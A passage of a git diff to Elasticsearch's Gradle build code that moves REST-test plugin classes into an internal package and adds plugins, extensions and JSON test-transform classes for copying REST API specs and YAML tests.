NO-SOURCE due to the null input + return projectHasYamlRestTests || include.get().isEmpty() == false ? fileCollection.getAsFileTree() : null; + } + + @OutputDirectory + public DirectoryProperty getOutputResourceDir() { + return outputResourceDir; + } + + @Internal + public DirectoryProperty getAdditionalYamlTestsDir() { + return additionalYamlTestsDir; + } + + @TaskAction + void copy() { + // clean the output directory to ensure no stale files persist + fileSystemOperations.delete(d -> d.delete(outputResourceDir)); + + // always copy the core specs if the task executes + String projectPath = getProjectPathFromTask(getPath()); + File restSpecOutputDir = new File(outputResourceDir.get().getAsFile(), REST_API_PREFIX); + + if (BuildParams.isInternal()) { + getLogger().debug("Rest specs for project [{}] will be copied to the test resources.", projectPath); + fileSystemOperations.copy(c -> { + c.from(configToFileTree.apply(config)); + c.into(restSpecOutputDir); + c.include(patternSet.getIncludes()); + }); + } else { + getLogger().debug( + "Rest specs for project [{}] will be copied to the test resources from the published jar (version: [{}]).", + projectPath, + VersionProperties.getElasticsearch() + ); + fileSystemOperations.copy(c -> { + c.from(archiveOperations.zipTree(config.getSingleFile())); // jar file + c.into(outputResourceDir); + if (include.get().isEmpty()) { + c.include(REST_API_PREFIX + "/**"); + } else { + c.include(include.get().stream().map(prefix -> REST_API_PREFIX + "/" + prefix + "*/**").collect(Collectors.toList())); + } + }); + } + + // copy any additional config + if (additionalConfig != null) { + fileSystemOperations.copy(c -> { + c.from(additionalConfigToFileTree.apply(additionalConfig)); + c.into(restSpecOutputDir); + }); + } + } + + /** + * Returns true if any files with a .yml extension exist the test resources rest-api-spec/test directory (from source or output dir) + */ + private boolean projectHasYamlRestTests() { + try { + // check source folder for tests + if (sourceResourceDir != null && new File(sourceResourceDir, REST_TEST_PREFIX).exists()) { + return Files.walk(sourceResourceDir.toPath().resolve(REST_TEST_PREFIX)) + .anyMatch(p -> p.getFileName().toString().endsWith("yml")); + } + // check output for cases where tests are copied programmatically + File yamlTestOutputDir = new File(additionalYamlTestsDir.get().getAsFile(), REST_TEST_PREFIX); + if (yamlTestOutputDir.exists()) { + return Files.walk(yamlTestOutputDir.toPath()).anyMatch(p -> p.getFileName().toString().endsWith("yml")); + } + } catch (IOException e) { + throw new IllegalStateException(String.format("Error determining if this project [%s] has rest tests.", getProject()), e); + } + return false; + } + + public void setSourceResourceDir(File sourceResourceDir) { + this.sourceResourceDir = sourceResourceDir; + } + + public void setSkipHasRestTestCheck(boolean skipHasRestTestCheck) { + this.skipHasRestTestCheck = skipHasRestTestCheck; + } + + public void setConfig(FileCollection config) { + this.config = config; + } + + public void setAdditionalConfig(FileCollection additionalConfig) { + this.additionalConfig = additionalConfig; + } + + public void setConfigToFileTree(Function configToFileTree) { + this.configToFileTree = configToFileTree; + } + + public void setAdditionalConfigToFileTree(Function additionalConfigToFileTree) { + this.additionalConfigToFileTree = additionalConfigToFileTree; + } + + @Internal + public FileCollection getConfig() { + return config; + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/CopyRestTestsTask.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/CopyRestTestsTask.java similarity index 98% rename from buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/CopyRestTestsTask.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/CopyRestTestsTask.java index 116e94a557386..a45ef6e0168a9 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/CopyRestTestsTask.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/CopyRestTestsTask.java @@ -5,10 +5,10 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle.test.rest; +package org.elasticsearch.gradle.internal.test.rest; import org.elasticsearch.gradle.VersionProperties; -import org.elasticsearch.gradle.info.BuildParams; +import org.elasticsearch.gradle.internal.info.BuildParams; import org.gradle.api.DefaultTask; import org.gradle.api.file.ArchiveOperations; import org.gradle.api.file.DirectoryProperty; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/JavaRestTestPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/JavaRestTestPlugin.java new file mode 100644 index 0000000000000..1886bb0e6f168 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/JavaRestTestPlugin.java @@ -0,0 +1,59 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest; + +import org.elasticsearch.gradle.internal.ElasticsearchJavaPlugin; +import org.elasticsearch.gradle.internal.InternalTestClustersPlugin; +import org.elasticsearch.gradle.internal.test.RestIntegTestTask; +import org.elasticsearch.gradle.internal.test.RestTestBasePlugin; +import org.elasticsearch.gradle.util.GradleUtils; +import org.gradle.api.Plugin; +import org.gradle.api.Project; +import org.gradle.api.plugins.JavaBasePlugin; +import org.gradle.api.provider.Provider; +import org.gradle.api.tasks.SourceSet; +import org.gradle.api.tasks.SourceSetContainer; + +import static org.elasticsearch.gradle.internal.test.rest.RestTestUtil.createTestCluster; +import static org.elasticsearch.gradle.internal.test.rest.RestTestUtil.registerTask; +import static org.elasticsearch.gradle.internal.test.rest.RestTestUtil.setupDependencies; + +/** + * Apply this plugin to run the Java based REST tests. + */ +public class JavaRestTestPlugin implements Plugin { + + public static final String SOURCE_SET_NAME = "javaRestTest"; + + @Override + public void apply(Project project) { + project.getPluginManager().apply(ElasticsearchJavaPlugin.class); + project.getPluginManager().apply(RestTestBasePlugin.class); + project.getPluginManager().apply(InternalTestClustersPlugin.class); + + // create source set + SourceSetContainer sourceSets = project.getExtensions().getByType(SourceSetContainer.class); + SourceSet javaTestSourceSet = sourceSets.create(SOURCE_SET_NAME); + + // create the test cluster container + createTestCluster(project, javaTestSourceSet); + + // setup the javaRestTest task + Provider javaRestTestTask = registerTask(project, javaTestSourceSet); + + // setup dependencies + setupDependencies(project, javaTestSourceSet); + + // setup IDE + GradleUtils.setupIdeForTestSourceSet(project, javaTestSourceSet); + + // wire this task into check + project.getTasks().named(JavaBasePlugin.CHECK_TASK_NAME).configure(check -> check.dependsOn(javaRestTestTask)); + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/RestResourcesExtension.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/RestResourcesExtension.java new file mode 100644 index 0000000000000..0113246c918c8 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/RestResourcesExtension.java @@ -0,0 +1,94 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ +package org.elasticsearch.gradle.internal.test.rest; + +import org.elasticsearch.gradle.internal.info.BuildParams; +import org.gradle.api.Action; +import org.gradle.api.model.ObjectFactory; +import org.gradle.api.provider.ListProperty; + +import javax.inject.Inject; + +/** + * Custom extension to configure the {@link CopyRestApiTask} + */ +public class RestResourcesExtension { + + private final RestResourcesSpec restApi; + private final XpackRestResourcesSpec restTests; + + @Inject + public RestResourcesExtension(ObjectFactory objects) { + restApi = new RestResourcesSpec(objects); + restTests = new XpackRestResourcesSpec(objects); + } + + void restApi(Action spec) { + spec.execute(restApi); + } + + void restTests(Action spec) { + if (BuildParams.isInternal() == false) { + // TODO: Separate this out into an "internal" plugin so we don't even expose this API to external folks + throw new UnsupportedOperationException("Including tests is not supported from external builds."); + } + spec.execute(restTests); + } + + public RestResourcesSpec getRestApi() { + return restApi; + } + + public XpackRestResourcesSpec getRestTests() { + return restTests; + } + + public static class RestResourcesSpec { + + private final ListProperty include; + + RestResourcesSpec(ObjectFactory objects) { + include = objects.listProperty(String.class); + } + + public void include(String... include) { + this.include.addAll(include); + } + + public ListProperty getInclude() { + return include; + } + } + + public static class XpackRestResourcesSpec { + + private final ListProperty includeCore; + private final ListProperty includeXpack; + + XpackRestResourcesSpec(ObjectFactory objects) { + includeCore = objects.listProperty(String.class); + includeXpack = objects.listProperty(String.class); + } + + public void includeCore(String... include) { + this.includeCore.addAll(include); + } + + public void includeXpack(String... include) { + this.includeXpack.addAll(include); + } + + public ListProperty getIncludeCore() { + return includeCore; + } + + public ListProperty getIncludeXpack() { + return includeXpack; + } + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/RestResourcesPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/RestResourcesPlugin.java new file mode 100644 index 0000000000000..f0d70e27e2bad --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/RestResourcesPlugin.java @@ -0,0 +1,160 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ +package org.elasticsearch.gradle.internal.test.rest; + +import org.elasticsearch.gradle.VersionProperties; +import org.elasticsearch.gradle.internal.info.BuildParams; +import org.gradle.api.Plugin; +import org.gradle.api.Project; +import org.gradle.api.artifacts.Configuration; +import org.gradle.api.artifacts.Dependency; +import org.gradle.api.provider.Provider; +import org.gradle.api.tasks.SourceSet; +import org.gradle.api.tasks.SourceSetContainer; + +import java.util.Map; + +import static org.gradle.api.tasks.SourceSet.TEST_SOURCE_SET_NAME; + +/** + *

+ * Gradle plugin to help configure {@link CopyRestApiTask}'s and {@link CopyRestTestsTask} that copies the artifacts needed for the Rest API + * spec and YAML based rest tests. + *

+ * Rest API specification:
+ * When the {@link RestResourcesPlugin} has been applied the {@link CopyRestApiTask} will automatically copy the core Rest API specification + * if there are any Rest YAML tests present in source, or copied from {@link CopyRestTestsTask} output. X-pack specs must be explicitly + * declared to be copied. + *
+ * For example: + * 
+ * restResources {
+ *   restApi {
+ *     includeXpack 'enrich'
+ *   }
+ * }
+ *
+ * Will copy the entire core Rest API specifications (assuming the project has tests) and any of the the X-pack specs starting with enrich*. + * It is recommended (but not required) to also explicitly declare which core specs your project depends on to help optimize the caching + * behavior. + * For example: + * 
+ * restResources {
+ *   restApi {
+ *     includeCore 'index', 'cat'
+ *     includeXpack 'enrich'
+ *   }
+ * }
+ *
+ *
+ * Rest YAML tests :
+ * When the {@link RestResourcesPlugin} has been applied the {@link CopyRestTestsTask} will copy the Rest YAML tests if explicitly + * configured with `includeCore` or `includeXpack` through the `restResources.restTests` extension. + * For example: + * 
+ * restResources {
+ *  restApi {
+ *      includeXpack 'graph'
+ *   }
+ *   restTests {
+ *     includeXpack 'graph'
+ *   }
+ * }
+ *
+ * Will copy any of the the x-pack tests that start with graph, and will copy the X-pack graph specification, as well as the full core + * Rest API specification. + *

+ * Additionally you can specify which sourceSetName resources should be copied to. The default is the yamlRestTest source set. + * + * @see CopyRestApiTask + * @see CopyRestTestsTask + */ +public class RestResourcesPlugin implements Plugin { + + public static final String COPY_YAML_TESTS_TASK = "copyYamlTestsTask"; + public static final String COPY_REST_API_SPECS_TASK = "copyRestApiSpecsTask"; + private static final String EXTENSION_NAME = "restResources"; + + @Override + public void apply(Project project) { + RestResourcesExtension extension = project.getExtensions().create(EXTENSION_NAME, RestResourcesExtension.class); + + SourceSetContainer sourceSets = project.getExtensions().getByType(SourceSetContainer.class); + SourceSet defaultSourceSet = sourceSets.getByName(TEST_SOURCE_SET_NAME); + + // tests + Configuration testConfig = project.getConfigurations().create("restTestConfig"); + Configuration xpackTestConfig = project.getConfigurations().create("restXpackTestConfig"); + if (BuildParams.isInternal()) { + // core + Dependency restTestdependency = project.getDependencies() + .project(Map.of("path", ":rest-api-spec", "configuration", "restTests")); + project.getDependencies().add(testConfig.getName(), restTestdependency); + // x-pack + Dependency restXPackTestdependency = project.getDependencies() + .project(Map.of("path", ":x-pack:plugin", "configuration", "restXpackTests")); + project.getDependencies().add(xpackTestConfig.getName(), restXPackTestdependency); + } else { + Dependency dependency = project.getDependencies() + .create("org.elasticsearch:rest-api-spec:" + VersionProperties.getElasticsearch()); + project.getDependencies().add(testConfig.getName(), dependency); + } + + project.getConfigurations().create("restTests"); + project.getConfigurations().create("restXpackTests"); + + Provider copyRestYamlTestTask = project.getTasks() + .register(COPY_YAML_TESTS_TASK, CopyRestTestsTask.class, task -> { + if (BuildParams.isInternal()) { + task.dependsOn(testConfig, xpackTestConfig); + task.setCoreConfig(testConfig); + task.setXpackConfig(xpackTestConfig); + } + // If this is the rest spec project, don't copy the tests again + if (project.getPath().equals(":rest-api-spec") == false) { + task.getIncludeCore().set(extension.getRestTests().getIncludeCore()); + } + task.getIncludeXpack().set(extension.getRestTests().getIncludeXpack()); + task.getOutputResourceDir().set(project.getLayout().getBuildDirectory().dir("restResources/yamlTests")); + }); + + // api + Configuration specConfig = project.getConfigurations().create("restSpec"); // name chosen for passivity + if (BuildParams.isInternal()) { + Dependency restSpecDependency = project.getDependencies() + .project(Map.of("path", ":rest-api-spec", "configuration", "restSpecs")); + project.getDependencies().add(specConfig.getName(), restSpecDependency); + } else { + Dependency dependency = project.getDependencies() + .create("org.elasticsearch:rest-api-spec:" + VersionProperties.getElasticsearch()); + project.getDependencies().add(specConfig.getName(), dependency); + } + + project.getConfigurations().create("restSpecs"); + + Provider copyRestYamlApiTask = project.getTasks() + .register(COPY_REST_API_SPECS_TASK, CopyRestApiTask.class, task -> { + task.dependsOn(copyRestYamlTestTask); + task.getInclude().set(extension.getRestApi().getInclude()); + task.setConfig(specConfig); + task.getOutputResourceDir().set(project.getLayout().getBuildDirectory().dir("restResources/yamlSpecs")); + task.getAdditionalYamlTestsDir().set(copyRestYamlTestTask.flatMap(CopyRestTestsTask::getOutputResourceDir)); + task.setSourceResourceDir( + defaultSourceSet.getResources() + .getSrcDirs() + .stream() + .filter(f -> f.isDirectory() && f.getName().equals("resources")) + .findFirst() + .orElse(null) + ); + }); + + defaultSourceSet.getOutput().dir(copyRestYamlApiTask.map(CopyRestApiTask::getOutputResourceDir)); + defaultSourceSet.getOutput().dir(copyRestYamlTestTask.map(CopyRestTestsTask::getOutputResourceDir)); + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/RestTestUtil.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/RestTestUtil.java similarity index 94% rename from buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/RestTestUtil.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/RestTestUtil.java index b83f581cb1e44..28016a0f3edcd 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/RestTestUtil.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/RestTestUtil.java @@ -6,11 +6,11 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test.rest; +package org.elasticsearch.gradle.internal.test.rest; import org.elasticsearch.gradle.VersionProperties; -import org.elasticsearch.gradle.info.BuildParams; -import org.elasticsearch.gradle.test.RestIntegTestTask; +import org.elasticsearch.gradle.internal.info.BuildParams; +import org.elasticsearch.gradle.internal.test.RestIntegTestTask; import org.elasticsearch.gradle.testclusters.ElasticsearchCluster; import org.elasticsearch.gradle.testclusters.TestClustersPlugin; import org.elasticsearch.gradle.util.GradleUtils; @@ -51,7 +51,7 @@ public static Provider registerTask(Project project, SourceSe testTask.setTestClassesDirs(sourceSet.getOutput().getClassesDirs()); testTask.setClasspath(sourceSet.getRuntimeClasspath()); // if this a module or plugin, it may have an associated zip file with it's contents, add that to the test cluster - project.getPluginManager().withPlugin("elasticsearch.esplugin", plugin -> { + project.getPluginManager().withPlugin("elasticsearch.internal-es-plugin", plugin -> { TaskProvider bundle = project.getTasks().withType(Zip.class).named("bundlePlugin"); testTask.dependsOn(bundle); if (GradleUtils.isModuleProject(project.getPath())) { diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/YamlRestTestPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/YamlRestTestPlugin.java similarity index 79% rename from buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/YamlRestTestPlugin.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/YamlRestTestPlugin.java index 7c77e4f378985..389d38ac91f51 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/YamlRestTestPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/YamlRestTestPlugin.java @@ -6,11 +6,11 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test.rest; +package org.elasticsearch.gradle.internal.test.rest; -import org.elasticsearch.gradle.ElasticsearchJavaPlugin; -import org.elasticsearch.gradle.test.RestIntegTestTask; -import org.elasticsearch.gradle.test.RestTestBasePlugin; +import org.elasticsearch.gradle.internal.ElasticsearchJavaPlugin; +import org.elasticsearch.gradle.internal.test.RestIntegTestTask; +import org.elasticsearch.gradle.internal.test.RestTestBasePlugin; import org.elasticsearch.gradle.testclusters.TestClustersPlugin; import org.elasticsearch.gradle.util.GradleUtils; import org.gradle.api.Plugin; @@ -20,9 +20,9 @@ import org.gradle.api.tasks.SourceSet; import org.gradle.api.tasks.SourceSetContainer; -import static org.elasticsearch.gradle.test.rest.RestTestUtil.createTestCluster; -import static org.elasticsearch.gradle.test.rest.RestTestUtil.registerTask; -import static org.elasticsearch.gradle.test.rest.RestTestUtil.setupDependencies; +import static org.elasticsearch.gradle.internal.test.rest.RestTestUtil.createTestCluster; +import static org.elasticsearch.gradle.internal.test.rest.RestTestUtil.registerTask; +import static org.elasticsearch.gradle.internal.test.rest.RestTestUtil.setupDependencies; /** * Apply this plugin to run the YAML based REST tests. @@ -64,17 +64,13 @@ public void apply(Project project) { ); }); - project.getTasks() - .named(yamlTestSourceSet.getProcessResourcesTaskName()) - .configure(t -> t.dependsOn(project.getTasks().withType(CopyRestApiTask.class))); - // Register rest resources with source set yamlTestSourceSet.getOutput() .dir( project.getTasks() .withType(CopyRestApiTask.class) .named(RestResourcesPlugin.COPY_REST_API_SPECS_TASK) - .map(CopyRestApiTask::getOutputResourceDir) + .flatMap(CopyRestApiTask::getOutputResourceDir) ); yamlTestSourceSet.getOutput() @@ -82,7 +78,7 @@ public void apply(Project project) { project.getTasks() .withType(CopyRestTestsTask.class) .named(RestResourcesPlugin.COPY_YAML_TESTS_TASK) - .map(CopyRestTestsTask::getOutputResourceDir) + .flatMap(CopyRestTestsTask::getOutputResourceDir) ); // setup IDE diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/ReplaceByKey.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/ReplaceByKey.java new file mode 100644 index 0000000000000..67219dc96973d --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/ReplaceByKey.java @@ -0,0 +1,70 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest.transform; + +import com.fasterxml.jackson.databind.JsonNode; +import org.gradle.api.tasks.Input; +import org.gradle.api.tasks.Optional; + +/** + * An abstract common class to handle replacing key and values under a parent object + * This class can be subclass to transform the + * "getKeyToFind": {"requiredChildKey": "foo"} + * into + * "getKeyToFind": {"newChildKey": "getReplacementNode"} + * a getKeyToFind and transformTest would have to be implemented in a subclass + */ +public abstract class ReplaceByKey implements RestTestTransformByParentObject { + private final String requiredChildKey; + private final String newChildKey; + private final JsonNode replacementNode; + private final String testName; + + public ReplaceByKey(String requiredChildKey, JsonNode replacementNode) { + this(requiredChildKey, replacementNode, null); + } + + public ReplaceByKey(String requiredChildKey, JsonNode replacementNode, String testName) { + this(requiredChildKey, requiredChildKey, replacementNode, testName); + } + + public ReplaceByKey(String requiredChildKey, String newChildKey, JsonNode replacementNode, String testName) { + this.requiredChildKey = requiredChildKey; + this.newChildKey = newChildKey; + this.replacementNode = replacementNode; + this.testName = testName; + } + + @Override + public String requiredChildKey() { + return requiredChildKey; + } + + @Input + public String getNewChildKey() { + return newChildKey; + } + + @Override + public boolean shouldApply(RestTestContext testContext) { + return testName == null || testContext.getTestName().equals(testName); + } + + @Input + @Optional + public JsonNode getReplacementNode() { + return replacementNode; + } + + @Input + @Optional + public String getTestName() { + return testName; + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/RestTestContext.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/RestTestContext.java similarity index 91% rename from buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/RestTestContext.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/RestTestContext.java index 5f4428bda1063..9b17a3cd81f38 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/RestTestContext.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/RestTestContext.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test.rest.transform; +package org.elasticsearch.gradle.internal.test.rest.transform; /** * A place to stash information about a test that is being transformed. diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/RestTestTransform.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/RestTestTransform.java similarity index 94% rename from buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/RestTestTransform.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/RestTestTransform.java index bcffec1491b76..bd650e7afae47 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/RestTestTransform.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/RestTestTransform.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test.rest.transform; +package org.elasticsearch.gradle.internal.test.rest.transform; import com.fasterxml.jackson.databind.JsonNode; import org.gradle.api.Named; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/RestTestTransformByParentArray.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/RestTestTransformByParentArray.java similarity index 93% rename from buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/RestTestTransformByParentArray.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/RestTestTransformByParentArray.java index 057de4560ab78..3495040b08a70 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/RestTestTransformByParentArray.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/RestTestTransformByParentArray.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test.rest.transform; +package org.elasticsearch.gradle.internal.test.rest.transform; import com.fasterxml.jackson.databind.node.ArrayNode; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/RestTestTransformByParentObject.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/RestTestTransformByParentObject.java new file mode 100644 index 0000000000000..30fbd0de30340 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/RestTestTransformByParentObject.java @@ -0,0 +1,39 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest.transform; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.node.ObjectNode; + +/** + * A type of {@link RestTestTransform} that finds the transformation by a given key in to an {@link ObjectNode}. + */ +public interface RestTestTransformByParentObject extends RestTestTransform { + + /** + * @return The name of key to find in the REST test + */ + String getKeyToFind(); + + /** + * @return If the value of the ObjectNode is also an ObjectNode, ensure that child key name is also satisfied. + * {@code null} to indicate no required children. + */ + default String requiredChildKey() { + return null; + } + + /** + * @param child a node on which the transformation will be applied. + * @return true if the transformation should be applied on child node, otherwise false. + */ + default boolean matches(JsonNode child) { + return child.has(requiredChildKey()); + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/RestTestTransformGlobalSetup.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/RestTestTransformGlobalSetup.java similarity index 93% rename from buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/RestTestTransformGlobalSetup.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/RestTestTransformGlobalSetup.java index 12d5a5eda9991..95c15b2890e5e 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/RestTestTransformGlobalSetup.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/RestTestTransformGlobalSetup.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test.rest.transform; +package org.elasticsearch.gradle.internal.test.rest.transform; import com.fasterxml.jackson.databind.node.ObjectNode; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/RestTestTransformGlobalTeardown.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/RestTestTransformGlobalTeardown.java similarity index 93% rename from buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/RestTestTransformGlobalTeardown.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/RestTestTransformGlobalTeardown.java index c09925e5e3e1f..16eec09d07eb9 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/RestTestTransformGlobalTeardown.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/RestTestTransformGlobalTeardown.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test.rest.transform; +package org.elasticsearch.gradle.internal.test.rest.transform; import com.fasterxml.jackson.databind.node.ObjectNode; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/RestTestTransformer.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/RestTestTransformer.java similarity index 93% rename from buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/RestTestTransformer.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/RestTestTransformer.java index 5f276d75257dc..30e2bf688194d 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/RestTestTransformer.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/RestTestTransformer.java @@ -6,11 +6,12 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test.rest.transform; +package org.elasticsearch.gradle.internal.test.rest.transform; import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.node.ArrayNode; import com.fasterxml.jackson.databind.node.ObjectNode; +import com.fasterxml.jackson.databind.node.TextNode; import java.util.Iterator; import java.util.LinkedList; @@ -144,9 +145,15 @@ private void traverseTest( } else { if (entry.getValue().isObject()) { ObjectNode child = (ObjectNode) entry.getValue(); - if (child.has(transform.requiredChildKey())) { + if (transform.matches(child)) { transform.transformTest((ObjectNode) currentNode); } + } else if (entry.getValue().isTextual()) { + TextNode value = (TextNode) entry.getValue(); + if (transform.matches(value)) { + transform.transformTest((ObjectNode) currentNode); + } + } } } diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/do_/ReplaceKeyInDo.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/do_/ReplaceKeyInDo.java new file mode 100644 index 0000000000000..8c8139a7ad0c5 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/do_/ReplaceKeyInDo.java @@ -0,0 +1,38 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest.transform.do_; // 'do' is a reserved word + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.node.ObjectNode; +import org.elasticsearch.gradle.internal.test.rest.transform.ReplaceByKey; +import org.gradle.api.tasks.Internal; + +/** + * A transformation to replace the key in a do. For example, change from "do":{"some-thing":{}} to "do":{"some-other-thing":{}} + */ +public class ReplaceKeyInDo extends ReplaceByKey { + + public ReplaceKeyInDo(String replaceKey, String newKeyName, String testName) { + super(replaceKey, newKeyName, null, testName); + } + + @Override + @Internal + public String getKeyToFind() { + return "do"; + } + + @Override + public void transformTest(ObjectNode doParent) { + ObjectNode doNode = (ObjectNode) doParent.get(getKeyToFind()); + JsonNode previousValue = doNode.get(requiredChildKey()); + doNode.remove(requiredChildKey()); + doNode.set(getNewChildKey(), previousValue); + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/feature/FeatureInjector.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/feature/FeatureInjector.java similarity index 95% rename from 